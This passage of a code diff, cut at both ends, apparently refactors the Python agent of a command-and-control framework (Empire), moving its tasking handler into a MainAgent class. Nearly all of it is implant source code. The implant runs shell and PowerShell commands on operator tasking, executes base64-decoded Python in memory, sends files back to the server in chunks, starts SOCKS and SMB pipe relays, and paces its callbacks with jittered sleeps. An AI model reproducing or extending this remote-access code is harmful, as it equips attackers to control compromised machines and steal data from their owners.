self.CRC_HSIZE])[0] + dec_data = zlib.decompress(data[self.CRC_HSIZE :]) + dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF + if comp_crc32 == dec_crc32: + crc32 = True + else: + crc32 = False + return { + "header_crc32": comp_crc32, + "dec_crc32": dec_crc32, + "crc32_check": crc32, + "data": dec_data, + } else: - packetData = base64.b64encode( - packetData.decode("utf-8").encode("utf-8", "ignore") + dec_data = zlib.decompress(data) + return dec_data + + +def indent(lines, amount=4, ch=" "): + padding = amount * ch + return padding + ("\n" + padding).join(lines.split("\n")) + + +# from http://stackoverflow.com/questions/6893968/how-to-get-the-return-value-from-a-thread-in-python +class ThreadWithReturnValue(Thread): + def __init__( + self, group=None, target=None, name=None, args=(), kwargs={}, Verbose=None + ): + Thread.__init__(self, group, target, name, args, kwargs, Verbose) + self._return = None + + def run(self): + if self._Thread__target is not None: + self._return = self._Thread__target( + *self._Thread__args, **self._Thread__kwargs ) - if len(packetData) % 4: - packetData += "=" * (4 - len(packetData) % 4) - length = struct.pack("=L", len(packetData)) - return packetType + totalPacket + packetNum + resultID + length + packetData - else: - length = struct.pack("=L", 0) - return packetType + totalPacket + packetNum + resultID + length + def join(self): + Thread.join(self) + return self._return -def parse_task_packet(packet, offset=0): - """ - Parse a result packet- +class KThread(threading.Thread): + """A subclass of threading.Thread, with a kill() + method.""" - [2 bytes] - type - [2 bytes] - total # of packets - [2 bytes] - packet # - [2 bytes] - task/result ID - [4 bytes] - length - [X...] - result data + def __init__(self, *args, **keywords): + threading.Thread.__init__(self, *args, **keywords) + self.killed = False - +------+--------------------+----------+---------+--------+-----------+ - | Type | total # of packets | packet # | task ID | Length | task data | - +------+--------------------+--------------------+--------+-----------+ - | 2 | 2 | 2 | 2 | 4 | | - +------+--------------------+----------+---------+--------+-----------+ + def start(self): + """Start the thread.""" + self.__run_backup = self.run + self.run = self.__run # Force the Thread to install our trace. + threading.Thread.start(self) - Returns a tuple with (responseName, length, data, remainingData) + def __run(self): + """Hacked run function, which installs the + trace.""" + sys.settrace(self.globaltrace) + self.__run_backup() + self.run = self.__run_backup - Returns a tuple with (responseName, totalPackets, packetNum, resultID, length, data, remainingData) - """ - try: - packetType = struct.unpack("=H", packet[0 + offset : 2 + offset])[0] - totalPacket = struct.unpack("=H", packet[2 + offset : 4 + offset])[0] - packetNum = struct.unpack("=H", packet[4 + offset : 6 + offset])[0] - resultID = struct.unpack("=H", packet[6 + offset : 8 + offset])[0] - length = struct.unpack("=L", packet[8 + offset : 12 + offset])[0] - try: - packetData = packet.decode("UTF-8")[12 + offset : 12 + offset + length] - except: - packetData = packet[12 + offset : 12 + offset + length].decode("latin-1") + def globaltrace(self, frame, why, arg): + if why == "call": + return self.localtrace + else: + return None - try: - remainingData = packet.decode("UTF-8")[12 + offset + length :] - except: - remainingData = packet[12 + offset + length :].decode("latin-1") - - return ( - packetType, - totalPacket, - packetNum, - resultID, - length, - packetData, - remainingData, - ) - except Exception as e: - print("parse_task_packet exception:", e) - return (None, None, None, None, None, None, None) - - -def process_tasking(data): - # processes an encrypted data packet - # -decrypts/verifies the response to get - # -extracts the packets and processes each - try: - # aes_decrypt_and_verify is in stager.py - tasking = aes_decrypt_and_verify(key, data).encode("UTF-8") - ( - packetType, - totalPacket, - packetNum, - resultID, - length, - data, - remainingData, - ) = parse_task_packet(tasking) - - # if we get to this point, we have a legit tasking so reset missedCheckins - missedCheckins = 0 - - # execute/process the packets and get any response - resultPackets = "" - result = process_packet(packetType, data, resultID) - - if result: - resultPackets += result - - packetOffset = 12 + length - while remainingData and remainingData != "": - ( - packetType, - totalPacket, - packetNum, - resultID, - length, - data, - remainingData, - ) = parse_task_packet(tasking, offset=packetOffset) - result = process_packet(packetType, data, resultID) - if result: - resultPackets += result + def localtrace(self, frame, why, arg): + if self.killed: + if why == "line": + raise SystemExit() + return self.localtrace - packetOffset += 12 + length + def kill(self): + self.killed = True - # send_message() is patched in from the listener module - send_message(resultPackets) - except Exception as e: - print(e) - pass +class MainAgent: + def __init__(self, + packet_handler, + profile, + server, + session_id, + kill_date, + working_hours, + delay=60, + jitter=0.0, + lost_limit=60 + ): + + if server.endswith("/"): + server = server[0:-1] + self.server = server.rstrip("/") + + # Functions that need to be passed in + # self.packet_handler = ExtendedPacketHandler(self, staging_key=staging_key, session_id=session_id, key=key) + self.packet_handler = packet_handler + self.profile = profile + self.delay = delay + self.jitter = jitter + self.lostLimit = lost_limit + self.kill_date = kill_date + self.working_hours = working_hours + self.defaultResponse = base64.b64decode("") + self.packet_handler.missedCheckins = 0 + self.sessionID = session_id + self.jobMessageBuffer = "" + self.socksthread = False + self.socksqueue = None + self.jobs = {} + + parts = self.profile.split("|") + self.userAgent = parts[1] + headersRaw = parts[2:] + + self.headers = {"User-Agent": self.userAgent} + + for headerRaw in headersRaw: + try: + headerKey = headerRaw.split(":")[0] + headerValue = headerRaw.split(":")[1] + if headerKey.lower() == "cookie": + self.headers["Cookie"] = "%s;%s" % (self.headers["Cookie"], headerValue) + else: + self.headers[headerKey] = headerValue + except: + pass -def process_job_tasking(result): - # process job data packets - # - returns to the C2 - # execute/process the packets and get any response - try: - resultPackets = b"" - if result: - resultPackets += result - # send packets - send_message(resultPackets) - except Exception as e: - print("processJobTasking exception:", e) - pass + def agent_exit(self): + # exit for proper job / thread cleanup + if len(self.jobs) > 0: + try: + for x in self.jobs: + self.jobs[x].kill() + self.jobs.pop(x) + except: + # die hard if thread kill fails + pass + sys.exit() + def send_job_message_buffer(self): + if len(self.jobs) > 0: + result = self.get_job_message_buffer() + self.packet_handler.process_job_tasking(result) + else: + pass -def process_packet(packetType, data, resultID): - try: - packetType = int(packetType) - except Exception as e: - return None - if packetType == 1: - # sysinfo request - # get_sysinfo should be exposed from stager.py - send_message(build_response_packet(1, get_sysinfo(), resultID)) - - elif packetType == 2: - # agent exit - send_message(build_response_packet(2, "", resultID)) - agent_exit() - - elif packetType == 34: - # TASK_SET_PROXY - proxy_list = json.loads(data) - update_proxychain(proxy_list) - - elif packetType == 40: - # run a command + def run_prebuilt_command(self, data, resultID): + """ + Run a command on the system and return the results. + Task 40 + """ parts = data.split(" ") if len(parts) == 1: data = parts[0] - resultData = str(run_command(data)) - send_message(build_response_packet(40, resultData, resultID)) + resultData = str(self.run_command(data)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) else: cmd = parts[0] - cmdargs = " ".join(parts[1 : len(parts)]) - resultData = str(run_command(cmd, cmdargs=cmdargs)) - send_message(build_response_packet(40, resultData, resultID)) + cmdargs = " ".join(parts[1: len(parts)]) + resultData = str(self.run_command(cmd, cmdargs=cmdargs)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(40, resultData, resultID)) - elif packetType == 41: - # file download + def file_download(self, data, resultID): + """ + Download a file from the server. + Task 41 + """ objPath = os.path.abspath(data) fileList = [] if not os.path.exists(objPath): - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 40, "file does not exist or cannot be accessed", resultID ) ) @@ -336,7 +490,7 @@ def process_packet(packetType, data, resultID): while True: # get 512kb of the given file starting at the specified offset - encodedPart = get_file_part(filePath, offset=offset, base64=False) + encodedPart = self.get_file_part(filePath, offset=offset, base64=False) c = compress() start_crc32 = c.crc32_data(encodedPart) comp_data = c.comp_data(encodedPart) @@ -347,24 +501,20 @@ def process_packet(packetType, data, resultID): if not encodedPart or encodedPart == "" or len(encodedPart) == 16: break - send_message(build_response_packet(41, partData, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(41, partData, resultID)) - global delay - global jitter - if jitter < 0: - jitter = -jitter - if jitter > 1: - jitter = old_div(1, jitter) - - minSleep = int((1.0 - jitter) * delay) - maxSleep = int((1.0 + jitter) * delay) + minSleep = int((1.0 - self.jitter) * self.delay) + maxSleep = int((1.0 + self.jitter) * self.delay) sleepTime = random.randint(minSleep, maxSleep) time.sleep(sleepTime) partIndex += 1 offset += 512000 - elif packetType == 42: - # file upload + def file_upload(self, data, resultID): + """ + Upload a file to the server. + Task 42 + """ try: parts = data.split("|") filePath = parts[0] @@ -372,14 +522,14 @@ def process_packet(packetType, data, resultID): raw = base64.b64decode(base64part) with open(filePath, "ab") as f: f.write(raw) - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 42, "[*] Upload of %s successful" % (filePath), resultID ) ) except Exception as e: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "[!] Error in writing file %s during upload: %s" % (filePath, str(e)), @@ -387,20 +537,23 @@ def process_packet(packetType, data, resultID): ) ) - elif packetType == 43: - # directory list + def directory_list(self, data, resultID): + """ + List a directory on the target. + Task 43 + """ cmdargs = data path = "/" # default to root if ( - cmdargs is not None and cmdargs != "" and cmdargs != "/" + cmdargs is not None and cmdargs != "" and cmdargs != "/" ): # strip trailing slash for uniformity path = cmdargs.rstrip("/") if path[0] != "/": # always scan relative to root for uniformity path = "/{0}".format(path) if not os.path.isdir(path): - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 43, "Directory {} not found.".format(path), resultID ) ) @@ -419,10 +572,13 @@ def process_packet(packetType, data, resultID): } ) - send_message(build_response_packet(43, result_data, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(43, result_data, resultID)) - elif packetType == 44: - # run csharp module in ironpython using reflection + def csharp_execute(self, data, resultID): + """ + Execute C# module in ironpython using reflection + Task 44 + """ # todo: make this a job a thread to be trackable try: import time @@ -448,8 +604,8 @@ def process_packet(packetType, data, resultID): results = ( assembly.GetType("Task").GetMethod("Execute").Invoke(None, params) ) - result_packet = build_response_packet(110, str(results), resultID) - process_job_tasking(result_packet) + result_packet = self.packet_handler.build_response_packet(110, str(results), resultID) + self.packet_handler.process_job_tasking(result_packet) else: @@ -498,80 +654,88 @@ def csharp_job_func(decoded_data, params, pipeClientStream): stream_text = read[0:count] pipeOutput.Append(stream_text) - result_packet = build_response_packet(110, str(pipeOutput), resultID) - process_job_tasking(result_packet) + result_packet = self.packet_handler.build_response_packet(110, str(pipeOutput), resultID) + self.packet_handler.process_job_tasking(result_packet) except Exception as e: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data %s " % (e), resultID ) ) - elif packetType == 50: - # return the currently running jobs - msg = "Active jobs:\n" + def job_list(self, resultID): + """ + Return a list of all running agent.jobs. + Task 50 + """ + msg = "Active agent.jobs:\n" - for key in jobs: + for key in self.jobs: msg += "Task %s" % key - send_message(build_response_packet(50, msg, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(50, msg, resultID)) - elif packetType == 51: - # stop and remove a specified job if it's running + def stop_job(self, jobID, resultID): + """ + Stop a running job. + Task 51 + """ try: - jobs[int(data)].kill() - jobs.pop(int(data)) - send_message( - build_response_packet( - 51, "[+] Job thread %s stopped successfully" % (data), resultID + self.jobs[int(jobID)].kill() + self.jobs.pop(int(jobID)) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 51, "[+] Job thread %s stopped successfully" % (jobID), resultID ) ) except Exception as e: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 51, "[!] Error stopping job thread: %s" % (e), resultID ) ) - elif packetType == 60: - global _socksthread - global _socksqueue - + def start_socks_server(self, resultID): + """ + Start a SOCKS server on the target. + Task 60 + """ # Create a server object in its own thread - if not _socksthread: + if not self.socksthread: try: - _socksqueue = Queue.Queue() - jobs[resultID] = KThread( + self.socksqueue = Queue.Queue() + self.jobs[resultID] = KThread( target=Server, args=( - _socksqueue, + self.socksqueue, resultID, ), ) - jobs[resultID].daemon = True - jobs[resultID].start() - _socksthread = True - send_message( - build_response_packet( + self.jobs[resultID].daemon = True + self.jobs[resultID].start() + self.socksthread = True + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 60, "[+] SOCKS server successfully started", resultID ) ) except: - _socksthread = False - send_message( - build_response_packet( + self.socksthread = False + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 60, "[!] SOCKS server failed to start", resultID ) ) else: - send_message( - build_response_packet(60, "[!] SOCKS server already running", resultID) + self.packet_handler.send_message( + self.packet_handler.build_response_packet(60, "[!] SOCKS server already running", resultID) ) - elif packetType == 61: - _socksqueue.put(base64.b64decode(data.encode("UTF-8"))) - - elif packetType == 70: + def start_smb_pipe_server(self, data, resultID): + """ + Start an SMB pipe server on the target. + Task 70 + """ # Pipe Server import sys import threading @@ -583,14 +747,9 @@ def csharp_job_func(decoded_data, params, pipeClientStream): clr.AddReference("System.IO.Pipes") import System.Collections.Generic import System.IO.Pipes - from System.IO.Pipes import ( - NamedPipeServerStream, - PipeAccessRights, - PipeAccessRule, - PipeDirection, - PipeSecurity, - PipeTransmissionMode, - ) + from System.IO.Pipes import (NamedPipeServerStream, PipeAccessRights, + PipeAccessRule, PipeDirection, + PipeSecurity, PipeTransmissionMode) from System.Security.AccessControl import AccessControlType parts = data.split("|") @@ -604,11 +763,11 @@ def pipe_data_server(pipe_server, hop_name): received_data = pipe_reader.ReadLine() try: if received_data[0] == '0': - response = send_results_for_child(received_data) + response = self.packet_handler.send_results_for_child(received_data) elif received_data[0] == '1': - response = send_get_tasking_for_child(received_data) + response = self.packet_handler.send_get_tasking_for_child(received_data) elif received_data[0] == '2': - response = send_staging_for_child(received_data, hop_name) + response = self.packet_handler.send_staging_for_child(received_data, hop_name) try: pipe_writer = System.IO.StreamWriter(pipe_server) @@ -619,9 +778,9 @@ def pipe_data_server(pipe_server, hop_name): pass try: - while smb_server_queue.Count > 0: - response = smb_server_queue.Peek() - smb_server_queue.Dequeue() + while self.packet_handler.smb_server_queue.Count > 0: + response = self.packet_handler.smb_server_queue.Peek() + self.packet_handler.smb_server_queue.Dequeue() pipe_writer = System.IO.StreamWriter(pipe_server) pipe_writer.WriteLine(response) pipe_writer.Flush() @@ -649,8 +808,11 @@ def server_thread_function(pipe_name, hop_name): server_thread.daemon = True server_thread.start() - elif packetType == 100: - # dynamic code execution, wait for output, don't save output + def dynamic_code_execute_wait_nosave(self, data, resultID): + """ + Execute dynamic code and wait for the results without saving output. + Task 100 + """ try: buffer = StringIO() sys.stdout = buffer @@ -658,18 +820,21 @@ def server_thread_function(pipe_name, hop_name): exec(code_obj, globals()) sys.stdout = sys.__stdout__ results = buffer.getvalue() - send_message(build_response_packet(100, str(results), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(results), resultID)) except Exception as e: errorData = str(buffer.getvalue()) - return build_response_packet( + return self.packet_handler.build_response_packet( 0, "error executing specified Python data: %s \nBuffer data recovered:\n%s" % (e, errorData), resultID, ) - elif packetType == 101: - # dynamic code execution, wait for output, save output + def dynamic_code_execution_wait_save(self, data, resultID): + """ + Execute dynamic code and wait for the results while saving output. + Task 101 + """ prefix = data[0:15].strip() extension = data[15:20].strip() data = data[20:] @@ -685,8 +850,8 @@ def server_thread_function(pipe_name, hop_name): comp_data = c.comp_data(results) encodedPart = c.build_header(comp_data, start_crc32) encodedPart = base64.b64encode(encodedPart).decode("UTF-8") - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 101, "{0: <15}".format(prefix) + "{0: <5}".format(extension) @@ -697,8 +862,8 @@ def server_thread_function(pipe_name, hop_name): except Exception as e: # Also return partial code that has been executed errorData = buffer.getvalue() - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), @@ -706,8 +871,12 @@ def server_thread_function(pipe_name, hop_name): ) ) - elif packetType == 102: - # on disk code execution for modules that require multiprocessing not supported by exec + def disk_code_execution_wait_save(self, data, resultID): + """ + Execute on disk code and wait for the results while saving output. + For modules that require multiprocessing not supported by exec + Task 110 + """ # todo: is this used? try: implantHome = expanduser("~") + "/.Trash/" @@ -733,32 +902,29 @@ def server_thread_function(pipe_name, hop_name): result += "\n\nError removing module file, please verify path: " + str( implantPath ) - send_message(build_response_packet(100, str(result), resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(100, str(result), resultID)) except Exception as e: fileCheck = os.path.isfile(implantPath) if fileCheck: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data: %s \nError removing module file, please verify path: %s" % (e, implantPath), resultID, ) ) - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data: %s" % (e), resultID ) ) - elif packetType == 110: - start_job(data, resultID) - - elif packetType == 111: - # TASK_CMD_JOB_SAVE - pass - - elif packetType == 112: + def powershell_task(self, data, resultID): + """ + Execute a PowerShell command. + Task 112 + """ import sys data = data.lstrip("\x00") # todo: make this a job a thread to be trackable @@ -773,11 +939,14 @@ def server_thread_function(pipe_name, hop_name): for result in results: print(result) sys.stdout = sys.__stdout__ - result_packet = build_response_packet(110, str(buffer.getvalue()), resultID) - process_job_tasking(result_packet) + result_packet = self.packet_handler.build_response_packet(110, str(buffer.getvalue()), resultID) + self.packet_handler.process_job_tasking(result_packet) - elif packetType == 118: - # PowerShel Task - dynamic code execution, wait for output, don't save output + def powershell_task_dyanmic_code_wait_nosave(self, data, resultID): + """ + Execute a PowerShell command and wait for the results without saving output. + Task 118 + """ try: data = data.lstrip("\x00") @@ -792,22 +961,22 @@ def server_thread_function(pipe_name, hop_name): for result in results: print(result) - result_packet = build_response_packet(110, str(result), resultID) - process_job_tasking(result_packet) + result_packet = self.packet_handler.build_response_packet(110, str(result), resultID) + self.packet_handler.process_job_tasking(result_packet) except Exception as e: print(e) - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data %s " % (e), resultID ) ) - elif packetType == 119: - pass - - elif packetType == 121: - # base64 decode the script and execute + def script_command(self, data, resultID): + """ + Execute a base64 encoded script. + Task 121 + """ script = base64.b64decode(data) try: buffer = StringIO() @@ -816,11 +985,11 @@ def server_thread_function(pipe_name, hop_name): exec(code_obj, globals()) sys.stdout = sys.__stdout__ result = str(buffer.getvalue()) - send_message(build_response_packet(121, result, resultID)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(121, result, resultID)) except Exception as e: errorData = str(buffer.getvalue()) - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 0, "error executing specified Python data %s \nBuffer data recovered:\n%s" % (e, errorData), @@ -828,8 +997,11 @@ def server_thread_function(pipe_name, hop_name): ) ) - elif packetType == 122: - # base64 decode and decompress the data + def script_load(self, data, resultID): + """ + Load a script into memory. + Task 122 + """ try: parts = data.split("|") base64part = parts[1] @@ -838,14 +1010,14 @@ def server_thread_function(pipe_name, hop_name): d = decompress() dec_data = d.dec_data(raw, cheader=True) if not dec_data["crc32_check"]: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 122, "Failed crc32_check during decompression", resultID ) ) except Exception as e: - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 122, "Unable to decompress zip file: %s" % (e), resultID ) ) @@ -853,744 +1025,530 @@ def server_thread_function(pipe_name, hop_name): zdata = dec_data["data"] zf = zipfile.ZipFile(io.BytesIO(zdata), "r") if fileName in list(moduleRepo.keys()): - send_message( - build_response_packet( + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 122, "%s module already exists" % (fileName), resultID ) ) else: moduleRepo[fileName] = zf - install_hook(fileName) - send_message( - build_response_packet( + self.install_hook(fileName) + self.packet_handler.send_message( + self.packet_handler.build_response_packet( 122, "Successfully imported %s" % (fileName), resultID - ) - ) - - elif packetType == 123: - # view loaded modules - repoName = data - if repoName == "": - loadedModules = "\nAll Repos\n" - for key, value in list(moduleRepo.items()): - loadedModules += "\n----" + key + "----\n" - loadedModules += "\n".join(moduleRepo[key].namelist()) - - send_message(build_response_packet(123, loadedModules, resultID)) - else: - try: - loadedModules = "\n----" + repoName + "----\n" - loadedModules += "\n".join(moduleRepo[repoName].namelist()) - send_message(build_response_packet(123, loadedModules, resultID)) - except Exception as e: - msg = "Unable to retrieve repo contents: %s" % (str(e)) - send_message(build_response_packet(123, msg, resultID)) - - elif packetType == 124: - # remove module - repoName = data - try: - remove_hook(repoName) - del moduleRepo[repoName] - send_message( - build_response_packet( - 124, "Successfully remove repo: %s" % (repoName), resultID - ) - ) - except Exception as e: - send_message( - build_response_packet( - 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID - ) - ) - - elif packetType == 130: - # Dynamically update agent comms - send_message( - build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID - ) - ) - - elif packetType == 131: - # Update the listener name variable - send_message( - build_response_packet( - 60, "[!] Switch agent comms not implemented", resultID - ) - ) - - else: - send_message( - build_response_packet(0, "invalid tasking ID: %s" % (packetType), resultID) - ) - - -def old_div(a, b): - """ - Equivalent to ``a / b`` on Python 2 without ``from __future__ import - division``. - """ - if isinstance(a, numbers.Integral) and isinstance(b, numbers.Integral): - return a // b - else: - return a / b - - -################################################ -# -# Custom Import Hook -# #adapted from https://github.com/sulinx/remote_importer -# -################################################ - -# [0] = .py ext, is_package = False -# [1] = /__init__.py ext, is_package = True -_search_order = [(".py", False), ("/__init__.py", True)] - - -class ZipImportError(ImportError): - """Exception raised by zipimporter objects.""" - - pass - - -# _get_info() = takes the fullname, then subpackage name (if applicable), -# and searches for the respective module or package - - -class CFinder(object): - """Import Hook for Empire""" - - def __init__(self, repoName): - self.repoName = repoName - - def _get_info(self, repoName, fullname): - """Search for the respective package or module in the zipfile object""" - parts = fullname.split(".") - submodule = parts[-1] - modulepath = "/".join(parts) - - # check to see if that specific module exists - for suffix, is_package in _search_order: - relpath = modulepath + suffix - try: - moduleRepo[repoName].getinfo(relpath) - except KeyError: - pass - else: - return submodule, is_package, relpath - - # Error out if we can find the module/package - msg = "Unable to locate module %s in the %s repo" % (submodule, repoName) - raise ZipImportError(msg) - - def _get_source(self, repoName, fullname): - """Get the source code for the requested module""" - submodule, is_package, relpath = self._get_info(repoName, fullname) - fullpath = "%s/%s" % (repoName, relpath) - source = moduleRepo[repoName].read(relpath) - source = source.replace("\r\n", "\n") - source = source.replace("\r", "\n") - return submodule, is_package, fullpath, source - - def find_module(self, fullname, path=None): - - try: - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - except ImportError: - return None - else: - return self - - def load_module(self, fullname): - submodule, is_package, fullpath, source = self._get_source( - self.repoName, fullname - ) - code = compile(source, fullpath, "exec") - mod = sys.modules.setdefault(fullname, types.ModuleType(fullname)) - mod.__loader__ = self - mod.__file__ = fullpath - mod.__name__ = fullname - if is_package: - mod.__path__ = [os.path.dirname(mod.__file__)] - exec(code, mod.__dict__) - return mod - - def get_data(self, fullpath): - - prefix = os.path.join(self.repoName, "") - if not fullpath.startswith(prefix): - raise IOError( - "Path %r does not start with module name %r", (fullpath, prefix) - ) - relpath = fullpath[len(prefix) :] - try: - return moduleRepo[self.repoName].read(relpath) - except KeyError: - raise IOError("Path %r not found in repo %r" % (relpath, self.repoName)) - - def is_package(self, fullname): - """Return if the module is a package""" - submodule, is_package, relpath = self._get_info(self.repoName, fullname) - return is_package - - def get_code(self, fullname): - submodule, is_package, fullpath, source = self._get_source( - self.repoName, fullname - ) - return compile(source, fullpath, "exec") - - def install_hook(repoName): - if repoName not in _meta_cache: - finder = CFinder(repoName) - _meta_cache[repoName] = finder - sys.meta_path.append(finder) - - def remove_hook(repoName): - if repoName in _meta_cache: - finder = _meta_cache.pop(repoName) - sys.meta_path.remove(finder) - - -################################################ -# -# Socks Server -# -################################################ -class Server(secretsocks.Server): - # Initialize our data channel - def __init__(self, q, resultID): - secretsocks.Server.__init__(self) - self.queue = q - self.resultID = resultID - self.alive = True - self.start() - - # Receive data from our data channel and push it to the receive queue - def recv(self): - while self.alive: - try: - data = self.queue.get() - self.recvbuf.put(data) - except socket.timeout: - continue - except: - self.alive = False - - # Take data from the write queue and send it over our data channel - def write(self): - while self.alive: - try: - data = self.writebuf.get(timeout=10) - send_message( - build_response_packet( - 61, base64.b64encode(data).decode("UTF-8"), self.resultID - ) - ) - except Queue.Empty: - continue - except: - self.alive = False - - -################################################ -# -# misc methods -# -################################################ -class compress(object): - """ - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - """ - - CRC_HSIZE = 4 - COMP_RATIO = 9 - - def __init__(self, verbose=False): - """ - Populates init. - """ - pass - - def comp_data(self, data, cvalue=COMP_RATIO): - """ - Takes in a string and computes - the comp obj. - data = string wanting compression - cvalue = 0-9 comp value (default 6) - """ - cdata = zlib.compress(data, cvalue) - return cdata + ) + ) - def crc32_data(self, data): + def view_loaded_modules(self, data, resultID): """ - Takes in a string and computes crc32 value. - data = string before compression - returns: - HEX bytes of data + View loaded modules. + Task 123 """ - crc = zlib.crc32(data) & 0xFFFFFFFF - return crc + # view loaded modules + repoName = data + if repoName == "": + loadedModules = "\nAll Repos\n" + for key, value in list(moduleRepo.items()): + loadedModules += "\n----" + key + "----\n" + loadedModules += "\n".join(moduleRepo[key].namelist()) - def build_header(self, data, crc): + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + else: + try: + loadedModules = "\n----" + repoName + "----\n" + loadedModules += "\n".join(moduleRepo[repoName].namelist()) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, loadedModules, resultID)) + except Exception as e: + msg = "Unable to retrieve repo contents: %s" % (str(e)) + self.packet_handler.send_message(self.packet_handler.build_response_packet(123, msg, resultID)) + + def remove_module(self, data, resultID): """ - Takes comp data, org crc32 value, - and adds self header. - data = comp data - crc = crc32 value + Remove a module. """ - header = struct.pack("!I", crc) - built_data = header + data - return built_data + repoName = data + try: + self.remove_hook(repoName) + del moduleRepo[repoName] + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 124, "Successfully remove repo: %s" % (repoName), resultID + ) + ) + except Exception as e: + self.packet_handler.send_message( + self.packet_handler.build_response_packet( + 124, "Unable to remove repo: %s, %s" % (repoName, str(e)), resultID + ) + ) + def start_job(self, code, resultID): + # create a new code block with a defined method name + codeBlock = "def method():\n" + indent(code[1:]) -class decompress(object): - """ - Base clase for init of the package. This will handle - the initial object creation for conducting basic functions. - """ + # register the code block + code_obj = compile(codeBlock, "", "exec") + # code needs to be in the global listing + # not the locals() scope + exec(code_obj, globals()) - CRC_HSIZE = 4 - COMP_RATIO = 9 + # create/process Packet start/return the thread + # call the job_func so sys data can be captured + codeThread = KThread(target=self.job_func, args=(resultID,)) + codeThread.start() - def __init__(self, verbose=False): - """ - Populates init. - """ - pass + self.jobs[resultID] = codeThread - def dec_data(self, data, cheader=True): - """ - Takes: - Custom / standard header data - data = comp data with zlib header - BOOL cheader = passing custom crc32 header - returns: - dict with crc32 cheack and dec data string - ex. {"crc32" : true, "dec_data" : "-SNIP-"} - """ - if cheader: - comp_crc32 = struct.unpack("!I", data[: self.CRC_HSIZE])[0] - dec_data = zlib.decompress(data[self.CRC_HSIZE :]) - dec_crc32 = zlib.crc32(dec_data) & 0xFFFFFFFF - if comp_crc32 == dec_crc32: - crc32 = True - else: - crc32 = False - return { - "header_crc32": comp_crc32, - "dec_crc32": dec_crc32, - "crc32_check": crc32, - "data": dec_data, - } - else: - dec_data = zlib.decompress(data) - return dec_data + def job_func(self, resultID): + try: + buffer = StringIO() + sys.stdout = buffer + # now call the function required + # and capture the output via sys + method() + sys.stdout = sys.__stdout__ + dataStats_2 = buffer.getvalue() + result = self.packet_handler.build_response_packet(110, str(dataStats_2), resultID) + self.packet_handler.process_job_tasking(result) + except Exception as e: + p = "error executing specified Python job data: " + str(e) + result = self.packet_handler.build_response_packet(0, p, resultID) + self.packet_handler.process_job_tasking(result) + + def job_message_buffer(self, message): + # Supports job messages for checkin + try: + self.jobMessageBuffer += str(message) + except Exception as e: + print(e) + + def get_job_message_buffer(self): + try: + result = self.packet_handler.build_response_packet(110, str(self.jobMessageBuffer)) + self.jobMessageBuffer = "" + return result + except Exception as e: + return self.packet_handler.build_response_packet(0, "[!] Error getting job output: %s" % (e)) + def start_webserver(self, data, ip, port, serveCount): + # thread data_webserver for execution + t = threading.Thread(target=self.data_webserver, args=(data, ip, port, serveCount)) + t.start() + return -def agent_exit(): - # exit for proper job / thread cleanup - if len(jobs) > 0: + def data_webserver(self, data, ip, port, serveCount): + # hosts a file on port and IP servers data string + hostName = str(ip) + portNumber = int(port) + data = str(data) + serveCount = int(serveCount) + count = 0 + + class serverHandler(http.server.BaseHTTPRequestHandler): + def do_GET(s): + """Respond to a GET request.""" + s.send_response(200) + s.send_header("Content-type", "text/html") + s.end_headers() + s.wfile.write(data) + + def log_message(s, format, *args): + return + + server_class = http.server.HTTPServer + httpServer = server_class((hostName, portNumber), serverHandler) try: - for x in jobs: - jobs[x].kill() - jobs.pop(x) + while count < serveCount: + httpServer.handle_request() + count += 1 except: - # die hard if thread kill fails pass - sys.exit() + httpServer.server_close() + return + + def permissions_to_unix_name(self, st_mode): + permstr = "" + usertypes = ["USR", "GRP", "OTH"] + for usertype in usertypes: + perm_types = ["R", "W", "X"] + for permtype in perm_types: + perm = getattr(stat, "S_I%s%s" % (permtype, usertype)) + if st_mode & perm: + permstr += permtype.lower() + else: + permstr += "-" + return permstr + + def directory_listing(self, path): + # directory listings in python + # https://www.opentechguides.com/how-to/article/python/78/directory-file-list.html + + res = "" + for fn in os.listdir(path): + fstat = os.stat(os.path.join(path, fn)) + permstr = self.permissions_to_unix_name(fstat[0]) + + if os.path.isdir(fn): + permstr = "d{}".format(permstr) + else: + permstr = "-{}".format(permstr) + + user = Environment.UserName + # Needed? + group = "Users" + + # Convert file size to MB, KB or Bytes + if 